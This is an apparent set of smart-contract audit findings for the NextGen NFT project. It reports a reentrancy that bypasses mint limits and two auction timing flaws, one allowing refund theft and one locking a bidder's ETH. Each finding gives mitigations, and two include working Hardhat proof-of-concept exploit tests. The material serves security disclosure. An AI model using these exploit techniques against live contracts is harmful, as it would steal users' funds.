NextGen - Kow's results

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/MinterContract.sol#L196-L254 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L189-L200

Vulnerability details

Impact

An address can bypass the max mint allowed for a certain collection.

Proof of Concept

In MinterContract, a user may call mint to mint NFTs for a collection. Before minting, for a public phase mint, it is verified that their resultant number of NFTs minted for the collection does not exceed maxCollectionPurchases set in NextGenCore. https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/MinterContract.sol#L221-L226

        } else if (block.timestamp >= collectionPhases[col].publicStartTime && block.timestamp <= collectionPhases[col].publicEndTime) {
            phase = 2;
            require(_numberOfTokens <= gencore.viewMaxAllowance(col), "Change no of tokens");
            require(gencore.retrieveTokensMintedPublicPerAddress(col, msg.sender) + _numberOfTokens <= gencore.viewMaxAllowance(col), "Max");

The issue is in the external calls to mint on the core contract, the recorded balance of the caller is only updated after _mintProcessing. https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L192-L198

        if (collectionAdditionalData[_collectionID].collectionTotalSupply >= collectionAdditionalData[_collectionID].collectionCirculationSupply) {
            _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
            if (phase == 1) {
                tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
            } else {
                tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1;
            }

Since _mintProcessing uses _safeMint, it contains a callback to the receiver of the NFT checking for ERC721 support if it is a contract. https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L227-L232

    function _mintProcessing(uint256 _mintIndex, address _recipient, string memory _tokenData, uint256 _collectionID, uint256 _saltfun_o) internal {
        tokenData[_mintIndex] = _tokenData;
        collectionAdditionalData[_collectionID].randomizer.calculateTokenHash(_collectionID, _mintIndex, _saltfun_o);
        tokenIdsToCollectionIds[_mintIndex] = _collectionID;
        _safeMint(_recipient, _mintIndex);
    }

This can be used to reenter the MinterContract and call mint again, during which the recorded minted tokens for msg.sender will be the same as before the first call, allowing the minter to bypass maxCollectionPurchases. The first call will also succeed (assuming the collection does not use salesOption 3) since the allowance check was performed before minting (so it already passed).

Tools Used

Manual Review

Recommended Mitigation Steps

Modify the mint function in the core contract to allow minting multiple NFTs for a collection and update the minted amount for the caller with the full _numberOfTokens before actual minting.

Assessed type

Reentrancy

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L104-L143

Vulnerability details

Impact

Bidders (winner and non-winners) can steal funds from the auction contract if claimAuction is executed when block.timestamp == auctionEndTime.

Proof of Concept

In AuctionDemo, claimAuction is called by the winner of an auction or an admin to distribute the auctioned NFT and refund the non-winners. The issue is the status of bids is not set to false when the refund (or NFT transfer) is processed. https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L110-L118

        for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
            if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
                IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
                (bool success, ) = payable(owner()).call{value: highestBid}("");
                emit ClaimAuction(owner(), _tokenid, success, highestBid);
            } else if (auctionInfoData[_tokenid][i].status == true) {
                (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
                emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
            } else {}

Consequently, if claimAuction is executed when block.timestamp == auctionEndTime, any bidder can get an extra refund (the winner gets back their bid only) if their call to cancelBid/cancelAllBids is executed in the same block after their bid is refunded/paid to the owner, assuming there are sufficient funds in the contract (e.g. due to multiple auctions running at the same time). This is possible because the bid cancelling functions can be called when block.timestamp == auctionEndTime. https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L124-L125

    function cancelBid(uint256 _tokenid, uint256 index) public {
        require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L134-L135

    function cancelAllBids(uint256 _tokenid) public {
        require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");

The winner could cancel their bid afterwards in the same transaction while non-winners could guarantee their bid cancel occurs after by bidding through a contract that implements a fallback (triggered by the low level call) which cancels their specific bid.

The PoC below demonstrates how the winner could claim the auctioned NFT and get a refund on their winning bid. In hardhat.config.js, the following properties should be set to ensure deterministic behaviour and allow multiple transactions in one block.

module.exports = {
  ...
  networks: {
    hardhat: {
      mining: {
        mempool: {
          order: "fifo"
        }
      },
      gas: "auto"
    }
  }
}

Paste the code below into a separate test file in the hardhat folder. The collection is set up similar to collection 2 in the provided test file.

const { loadFixture, time } = require("@nomicfoundation/hardhat-toolbox/network-helpers")
const { expect } = require("chai")
const { ethers } = require("hardhat")
const fixturesDeployment = require("../scripts/fixturesDeployment.js")

let signers
let contracts

beforeEach(async function () {
    ({ signers, contracts } = await loadFixture(fixturesDeployment));
    await contracts.hhCore.addMinterContract(contracts.hhMinter);
    await setupCollection();
});

it("refund bid after claiming at end time", async function () {
    await setupAuction();

    // so there is sufficient balance for the refund
    // this would most likely be due to multiple auctions running at the same time for different nfts
    await network.provider.send("hardhat_setBalance", [await hhAuctionDemo.getAddress(), "0x100"]);

    // setup winning bid
    const bid = 100;
    const initBal = await ethers.provider.getBalance(signers.addr2.address);
    let tx = await hhAuctionDemo.connect(signers.addr2).participateToAuction(mintIdx, { value: bid });
    let receipt = await tx.wait();
    let currBal = initBal - BigInt(bid) - BigInt(receipt.gasUsed * receipt.gasPrice);
    expect(await ethers.provider.getBalance(signers.addr2.address)).to.equal(currBal);
    expect(await contracts.hhCore.balanceOf(signers.addr2.address)).to.equal(0);
    expect(await hhAuctionDemo.returnHighestBid(mintIdx)).to.equal(bid);

    // setup for multiple transactions
    await time.setNextBlockTimestamp(auctionEndTime);
    await ethers.provider.send("evm_setAutomine", [false]);
    await ethers.provider.send("evm_setIntervalMining", [0]);

    // cancel winning bid after claimining in the same transaction
    const tx2 = await hhAuctionDemo.connect(signers.addr2).claimAuction(mintIdx);
    const tx3 = await hhAuctionDemo.connect(signers.addr2).cancelBid(mintIdx, 0);

    await ethers.provider.send("evm_mine");
    await ethers.provider.send("evm_setAutomine", [true]);

    // account for gas
    receipt = await tx2.wait();
    currBal -= BigInt(receipt.gasPrice * receipt.gasUsed);
    receipt = await tx3.wait();
    currBal -= BigInt(receipt.gasPrice * receipt.gasUsed);

    // assert nft was received and bid was refunded
    expect(await contracts.hhCore.balanceOf(signers.addr2.address)).to.equal(1);
    expect(await ethers.provider.getBalance(signers.addr2.address)).to.equal(currBal + BigInt(bid));
});

let colId1;
let mintIdx;
const startTime = 1698138500;
const endTime = 1796931278;

async function setupCollection() {
    colId1 = await contracts.hhCore.newCollectionIndex();
    await contracts.hhCore.createCollection(
        "Test Collection 1",
        "Artist 1",
        "For testing",
        "www.test.com",
        "CCO",
        "https://ipfs.io/ipfs/hash/",
        "",
        ["desc"],
    );
    await contracts.hhCore.setCollectionData(1, signers.addr1.address, 2, 10000, 0);
    await contracts.hhCore.addRandomizer(colId1, contracts.hhRandomizer);
    await contracts.hhMinter.setCollectionCosts(
        colId1,
        BigInt(1000000000000000000), // _collectionMintCost 1 eth
        BigInt(100000000000000000), // _collectionEndMintCost 0.1 eth
        BigInt(100000000000000000), // _rate
        200, // _timePeriod
        2, // _salesOptions
        '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B' // delAddress
    );
    await contracts.hhMinter.setCollectionPhases(
        colId1, // _collectionID
        startTime, // _allowlistStartTime
        startTime, // _allowlistEndTime
        startTime, // _publicStartTime
        endTime, // _publicEndTime
        "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870"
    );
    mintIdx = await contracts.hhCore.viewTokensIndexMin(colId1)
        + await contracts.hhCore.viewCirSupply(colId1);
}

let hhAuctionDemo;
let auctionEndTime;

async function setupAuction() {
    const auctionDemo = await ethers.getContractFactory("auctionDemo");
    hhAuctionDemo = await auctionDemo.deploy(
        contracts.hhMinter.getAddress(),
        contracts.hhCore.getAddress(),
        contracts.hhAdmin.getAddress()
    );

    auctionEndTime = endTime - 1000;
    await contracts.hhMinter.mintAndAuction(
        signers.addr1.address,
        '{"tdh": "100"}',
        1,
        colId1,
        auctionEndTime // auction end time
    );

    expect(await contracts.hhMinter.getAuctionEndTime(mintIdx)).to.equal(auctionEndTime);
    expect(await contracts.hhCore.balanceOf(signers.addr1.address)).to.equal(1);
    await contracts.hhCore.connect(signers.addr1).approve(hhAuctionDemo, mintIdx);
}

Tools Used

Manual Review

Recommended Mitigation Steps

Only allow cancelling bids when block.timestamp < auctionEndTime.

Assessed type

Timing

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L57-L61 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L104-L120

Vulnerability details

Impact

A bidder whose bid is executed on auctionEndTime may lose their ETH permanently (without receiving the NFT) if claimAuction is executed before in the same block.

Proof of Concept

In AuctionDemo, a user may make a bid for an ongoing auction by calling participateToAuction. The winner of an auction or an admin can call claimAuction to distribute the auction NFT, pay the owner, and refund non-winning bidders. The issue is both these functions can be executed when block.timestamp == auctionEndTime. https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L57-L58

    function participateToAuction(uint256 _tokenid) public payable {
        require(msg.value > returnHighestBid(_tokenid) && block.timestamp <= minter.getAuctionEndTime(_tokenid) && minter.getAuctionStatus(_tokenid) == true);

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L104-L105

    function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
        require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);

Consequently, the following situation may occur. Assume Alice is the highest bidder when claimAuction is called.

1. Bob submits a transaction calling participateToAuction close to the end of the auction.
2. Alice calls claimAuction which executes when block.timestamp == auctionEndTime and receives the NFT.
3. Bob’s bid executes in the same block after Alice’s claim (possibly due to network congestion or low gas price), so his bid is not registered as the new highest bid, nor is it refunded.
4. The block finishes execution. Now Bob cannot cancel his bid since block.timestamp > auctionEndTime and the bidded ETH is permanently locked in the contract.

Note that there is no emergency withdrawal functionality, so the ETH is not retrievable.

A PoC demonstrating this situation is provided below. In hardhat.config.js, the following properties should be set to ensure deterministic behaviour and allow multiple transactions occuring in a single block.

module.exports = {
  ...
  networks: {
    hardhat: {
      mining: {
        mempool: {
          order: "fifo"
        }
      },
      gas: "auto"
    }
  }
}

Paste the code below into a new test file in the hardhat folder. The collection is setup similar to collection 2 in the provided test file.

const { loadFixture, time } = require("@nomicfoundation/hardhat-toolbox/network-helpers")
const { expect } = require("chai")
const { ethers } = require("hardhat")
const fixturesDeployment = require("../scripts/fixturesDeployment.js")

let signers
let contracts

beforeEach(async function () {
    ({ signers, contracts } = await loadFixture(fixturesDeployment));
    await contracts.hhCore.addMinterContract(contracts.hhMinter);
    await setupCollection();
});

it("late bidder loses bid permanently", async function () {
    await setupAuction();

    // setup the bidder that will win the auction and receive the nft
    const initHighestBid = 100;
    let initBal = await ethers.provider.getBalance(signers.addr2.address);
    await hhAuctionDemo.connect(signers.addr2).participateToAuction(mintIdx, { value: initHighestBid });
    expect(await hhAuctionDemo.returnHighestBid(mintIdx)).to.equal(initHighestBid);

    // setup to execute both claimAuction and participateToAuction in the same block
    await time.setNextBlockTimestamp(auctionEndTime);
    await ethers.provider.send("evm_setAutomine", [false]);
    await ethers.provider.send("evm_setIntervalMining", [0]);

    // late bidder's bid is executed after claimAuction is called
    await hhAuctionDemo.connect(signers.addr2).claimAuction(mintIdx);
    initBal = await ethers.provider.getBalance(signers.addr3.address);
    const tx = await hhAuctionDemo.connect(signers.addr3).participateToAuction(mintIdx, { value: initHighestBid + 1 });

    await ethers.provider.send("evm_mine");
    await ethers.provider.send("evm_setAutomine", [true]);

    // check that the late bidder did not get refunded
    const receipt = await tx.wait();
    const expectedBal = initBal - BigInt(initHighestBid) - BigInt(1) - BigInt(receipt.gasUsed) * BigInt(receipt.gasPrice);
    expect(await ethers.provider.getBalance(signers.addr3.address)).to.equal(expectedBal);

    // check that original highest bidder received the auctioned nft
    expect(await contracts.hhCore.balanceOf(signers.addr2.address)).to.equal(1);
    expect(await contracts.hhCore.balanceOf(signers.addr1.address)).to.equal(0);

    // check that no one can cancel the late bidder's bid
    await expect(hhAuctionDemo.cancelBid(mintIdx, 1)).to.be.revertedWith("Auction ended");
    await expect(hhAuctionDemo.cancelAllBids(mintIdx)).to.be.revertedWith("Auction ended");
    await expect(hhAuctionDemo.connect(signers.addr3).cancelBid(mintIdx, 1)).to.be.revertedWith("Auction ended");
    await expect(hhAuctionDemo.connect(signers.addr3).cancelAllBids(mintIdx)).to.be.revertedWith("Auction ended");
});

let colId1;
let mintIdx;
const startTime = 1698138500;
const endTime = 1796931278;

async function setupCollection() {
    colId1 = await contracts.hhCore.newCollectionIndex();
    await contracts.hhCore.createCollection(
        "Test Collection 1",
        "Artist 1",
        "For testing",
        "www.test.com",
        "CCO",
        "https://ipfs.io/ipfs/hash/",
        "",
        ["desc"],
    );
    await contracts.hhCore.setCollectionData(1, signers.addr1.address, 2, 10000, 0);
    await contracts.hhCore.addRandomizer(colId1, contracts.hhRandomizer);
    await contracts.hhMinter.setCollectionCosts(
        colId1,
        BigInt(1000000000000000000), // _collectionMintCost 1 eth
        BigInt(100000000000000000), // _collectionEndMintCost 0.1 eth
        BigInt(100000000000000000), // _rate
        200, // _timePeriod
        2, // _salesOptions
        '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B' // delAddress
    );
    await contracts.hhMinter.setCollectionPhases(
        colId1, // _collectionID
        startTime, // _allowlistStartTime
        startTime, // _allowlistEndTime
        startTime, // _publicStartTime
        endTime, // _publicEndTime
        "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870"
    );
    mintIdx = await contracts.hhCore.viewTokensIndexMin(colId1)
        + await contracts.hhCore.viewCirSupply(colId1);
}

let hhAuctionDemo;
let auctionEndTime;

async function setupAuction() {
    const auctionDemo = await ethers.getContractFactory("auctionDemo");
    hhAuctionDemo = await auctionDemo.deploy(
        contracts.hhMinter.getAddress(),
        contracts.hhCore.getAddress(),
        contracts.hhAdmin.getAddress()
    );

    auctionEndTime = endTime - 1000;
    await contracts.hhMinter.mintAndAuction(
        signers.addr1.address,
        '{"tdh": "100"}',
        1,
        colId1,
        auctionEndTime // auction end time
    );

    expect(await contracts.hhMinter.getAuctionEndTime(mintIdx)).to.equal(auctionEndTime);
    expect(await contracts.hhCore.balanceOf(signers.addr1.address)).to.equal(1);
    await contracts.hhCore.connect(signers.addr1).approve(hhAuctionDemo, mintIdx);
}

Tools Used

Manual Review

Recommended Mitigation Steps

Only allow participateToAuction to be called when block.timestamp < auctionEndTime.

Assessed type

Timing